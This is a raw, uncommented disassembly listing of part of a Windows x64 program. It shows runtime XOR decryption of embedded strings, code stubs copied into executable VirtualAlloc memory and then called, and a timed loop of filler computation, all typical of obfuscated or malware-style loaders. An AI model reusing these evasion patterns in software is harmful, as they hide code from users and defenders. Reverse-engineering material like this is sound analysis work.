movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401542e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402045e0]
mov qword [rsi + rax*8 + 0x204c50], rbx
mov qword [rsi + rax*8 + 0x204600], r8
inc rax
mov qword [0x1402045e0], rax
lea rdx, [rsp + 0x598]
lea rcx, [0x14011f130]
call r8
nop
mov rcx, qword [rsp + 0xf60]
xor rcx, qword [rsp + 0xf68]
mov qword [rsp + 0xf60], rcx
mov rax, qword [rsp + 0xf70]
mov qword [rax], rcx
call fcn.14017ecdc
mov edx, eax
lea rcx, [rsp + 0xc380]
call fcn.140158100
mov dword [rsp + 0xc30], 0xffffff9c
mov dword [rsp + 0xc34], 0x64
movaps xmm0, xmmword [0x1401ec250]
movups xmmword [rsp + 0xd50], xmm0
mov dword [rsp + 0x40], r15d
movsd qword [rsp + 0x50], xmm15
lea rcx, [rsp + 0xf8]
call fcn.140119690
mov rax, qword [rsp + 0xf8]
add rax, 0x5f5e100
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0xd00]
call fcn.140119a90
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd00], xmm0
mov qword [rsp + 0xd10], r15
lea rcx, [rsp + 0x5a0]
call fcn.140161510
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x150], rcx
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0xd00]
call fcn.140158030
nop
lea rcx, [rsp + 0x150]
call fcn.140158010
nop
lea rcx, [rsp + 0x5a0]
call fcn.140158010
lea rcx, [rsp + 0x348]
call fcn.140161540
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x158], rcx
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0xd00]
call fcn.140158030
nop
lea rcx, [rsp + 0x158]
call fcn.140158010
nop
lea rcx, [rsp + 0x348]
call fcn.140158010
lea rcx, [rsp + 0x350]
call fcn.140161570
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x130], rcx
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xd00]
call fcn.140158030
nop
lea rcx, [rsp + 0x130]
call fcn.140158010
nop
lea rcx, [rsp + 0x350]
call fcn.140158010
lea rcx, [rsp + 0x358]
call fcn.1401615a0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x138], rcx
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0xd00]
call fcn.140158030
nop
lea rcx, [rsp + 0x138]
call fcn.140158010
nop
lea rcx, [rsp + 0x358]
call fcn.140158010
lea rcx, [rsp + 0x360]
call fcn.1401615d0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x140], rcx
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xd00]
call fcn.140158030
nop
lea rcx, [rsp + 0x140]
call fcn.140158010
nop
lea rcx, [rsp + 0x360]
call fcn.140158010
lea rcx, [rsp + 0x368]
call fcn.140161600
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x148], rcx
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0xd00]
call fcn.140158030
nop
lea rcx, [rsp + 0x148]
call fcn.140158010
nop
lea rcx, [rsp + 0x368]
call fcn.140158010
lea rcx, [rsp + 0x370]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x160]
call fcn.140119a40
test al, al
jns 0x1401549ba
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xc380]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140161390
mov rbx, qword [rsp + 0xd08]
sub rbx, qword [rsp + 0xd00]
sar rbx, 3
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140161390
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xd00]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140161390
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.140161630
movaps xmm5, xmm0
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.140161630
movaps xmm1, xmm5
call fcn.140119910
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.140161630
movaps xmm1, xmm9
call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.140161630
call fcn.1401ceb70
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x10a0]
call fcn.140132180
nop
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0x10a0]
call fcn.140119880
lea rcx, [rsp + 0xe50]
call fcn.140119a90
lea rcx, [rsp + 0xe50]
call fcn.1401581b0
nop
movdqa xmmword [rsp + 0x860], xmm6
lea r8, [rsp + 0x860]
mov rdx, qword [rsp + 0xe58]
mov rcx, qword [rsp + 0xe50]
call fcn.1401616b0
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xe50]
call fcn.140119990
mov rdx, qword [rsp + 0xe58]
mov rcx, qword [rsp + 0xe50]
call fcn.140161710
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140161390
mov ebx, eax
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140161390
mov r8d, ebx
mov edx, eax
call fcn.140119a60
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14015487a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
test eax, eax
jne 0x14015489f
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1401548ae
call fcn.140161390
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r15d
nop word [rax + rax]
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.140161630
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0xc380]
test bl, 1
jne 0x14015492b
lea rcx, [rsp + 0xc30]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14015494d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xd50]
call fcn.140161630
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x1401548c0
sub rdi, 1
jne 0x1401548b3
lea rcx, [rsp + 0xe50]
call fcn.140158150
nop
lea rcx, [rsp + 0x10a0]
call fcn.1401348a0
sub r12, 1
jne 0x140154670
lea rcx, [rsp + 0x370]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x160]
call fcn.140119a40
test al, al
js 0x140154660
lea r14, [0x140163290]
mov r12d, dword [0x1401ff0f8]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xd00]
call fcn.140158060
movups xmm0, xmmword [0x1401eb578]
movups xmmword [rsp + 0x5a8], xmm0
movups xmm1, xmmword [0x1401eb588]
movups xmmword [rsp + 0x5b8], xmm1
mov eax, dword [0x1401eb598]
mov dword [rsp + 0x5c8], eax
movzx eax, word [0x1401eb59c]
mov word [rsp + 0x5cc], ax
movzx eax, byte [0x1401eb59e]
mov byte [rsp + 0x5ce], al
mov r9d, r15d
mov edi, 5
lea ebx, [rdi + 0x1a]
cmp r12d, 2
jl 0x140154c3f
movd xmm7, edi
mov eax, 6
movd xmm8, eax
movd xmm6, ebx
movdqa xmm0, xmmword [0x1401ec240]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x5a8]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140154a50
cmp r9d, 0x27
jge 0x140154c9f
movsxd rax, r9d
lea r10, [rsp + 0x5a8]
add r10, rax
nop dword [rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x27
jl 0x140154c50
lea rdx, [rsp + 0x5a8]
lea rcx, [rsp + 0xa00]
call fcn.140132180
mov rcx, rax
call fcn.140132490
lea rcx, [rsp + 0xf78]
call fcn.140119a90
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf78]
call fcn.14011a230
nop
mov ecx, r15d
mov rax, qword [0x140205600]
test rax, rax
je 0x140154d19
nop
cmp rax, r14
je 0x140154d06
inc ecx
mov rax, qword [rsi + rcx*8 + 0x205600]
test rax, rax
jne 0x140154cf0
jmp 0x140154d19
mov eax, ecx
mov rdx, qword [rsi + rax*8 + 0x206930]
test rdx, rdx
jne 0x140154dff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140154d40
mov rdx, r15
jmp 0x140154dde
mov rax, r14
mov rcx, rdx
mov r8, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140154d50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140205fb8]
mov qword [rsi + rax*8 + 0x205600], r14
mov qword [rsi + rax*8 + 0x206930], rdx
inc rax
mov qword [0x140205fb8], rax
lea rcx, [0x14013c520]
call rdx
nop
mov rcx, qword [rsp + 0xf78]
xor rcx, qword [rsp + 0xf80]
mov rax, qword [rsp + 0xf88]
mov qword [rax], rcx
movups xmm0, xmmword [str.NvUF]
movups xmmword [rsp + 0x5d0], xmm0
movups xmm1, xmmword [0x1401eb3b8]
movups xmmword [rsp + 0x5e0], xmm1
mov eax, dword [0x1401eb3c8]
mov dword [rsp + 0x5f0], eax
movzx eax, byte [0x1401eb3cc]
mov byte [rsp + 0x5f4], al
mov r9d, r15d
cmp r12d, 2
jl 0x140155081
movd xmm7, edi
mov eax, 6
movd xmm8, eax
movd xmm6, ebx
movdqa xmm0, xmmword [0x1401ec240]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x5d0]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140154e92
cmp r9d, 0x25
jge 0x1401550df
movsxd rax, r9d
lea r10, [rsp + 0x5d0]
add r10, rax
nop
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x25
jl 0x140155090
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x9e0]
call fcn.140132180
mov rcx, rax
call fcn.140132490
lea rcx, [rsp + 0xfa8]
call fcn.140119a90
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xfa8]
call fcn.14011a230
nop
mov ecx, r15d
mov rax, qword [0x140205600]
test rax, rax
je 0x140155159
nop
cmp rax, r14
je 0x140155146
inc ecx
mov rax, qword [rsi + rcx*8 + 0x205600]
test rax, rax
jne 0x140155130
jmp 0x140155159
mov eax, ecx
mov rdx, qword [rsi + rax*8 + 0x206930]
test rdx, rdx
jne 0x14015523f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140155180
mov rdx, r15
jmp 0x14015521e
mov rax, r14
mov rcx, rdx
mov r8, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140155190
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140205fb8]
mov qword [rsi + rax*8 + 0x205600], r14
mov qword [rsi + rax*8 + 0x206930], rdx
inc rax
mov qword [0x140205fb8], rax
lea rcx, [0x1401449e0]
call rdx
nop
mov rcx, qword [rsp + 0xfa8]
xor rcx, qword [rsp + 0xfb0]
mov rax, qword [rsp + 0xfb8]
mov qword [rax], rcx
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xa0], 0xffffffff
lea rcx, [rsp + 0xf90]
call fcn.140119a90
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf90]
call fcn.14011a230
nop
mov ecx, r15d
mov rax, qword [0x140204920]
lea rdi, [0x140162180]
test rax, rax
je 0x1401552d9
nop
cmp rax, rdi
je 0x1401552c6
inc ecx
mov rax, qword [rsi + rcx*8 + 0x204920]
test rax, rax
jne 0x1401552b0
jmp 0x1401552d9
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x205c90]
test r10, r10
jne 0x1401553bf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140155300
mov r10, r15
jmp 0x14015539e
mov rax, rdi
mov rcx, r10
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x140155310
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140204f70]
mov qword [rsi + rax*8 + 0x204920], rdi
mov qword [rsi + rax*8 + 0x205c90], r10
inc rax
mov qword [0x140204f70], rax
lea rdx, [rsp + 0xa0]
mov rcx, rbx
call r10
nop
mov rcx, qword [rsp + 0xf90]
xor rcx, qword [rsp + 0xf98]
mov rax, qword [rsp + 0xfa0]
mov qword [rax], rcx
lea rcx, [rsp + 0x1160]
call fcn.140155530
nop
lea rcx, [rsp + 0xfc0]
call fcn.140119f60
nop
lea rcx, [rsp + 0xef8]
call fcn.14011a0d0
nop
mov rcx, qword [rsp + 0xe18]
xor rcx, qword [rsp + 0xe20]
mov rax, qword [rsp + 0xe28]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xdb10]
xor rcx, rsp
call fcn.14019ed10
lea r11, [rsp + 0xdbc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test r10d, r10d
jne 0x14014ca80
mov rax, qword [rax]
jmp 0x14014ca50
test r10d, r10d
jne 0x14014c900
mov rax, qword [rax]
jmp 0x14014c8d0
test r10d, r10d
jne 0x14014c750
mov rax, qword [rax]
jmp 0x14014c720
call fcn.1401aef20
nop
call fcn.1401aef20
nop
call fcn.1401aef20
nop
call fcn.1401aef20
nop
mov ecx, 0x80004005
call fcn.140119b40
nop
mov ecx, 0x80004005
call fcn.140119b40
nop
mov ecx, 0x80004005
call fcn.140119b40
nop
mov ecx, 0x80004005
call fcn.140119b40
nop
call fcn.1401aef20
nop
call fcn.1401aef20
nop
call fcn.1401aef20
int3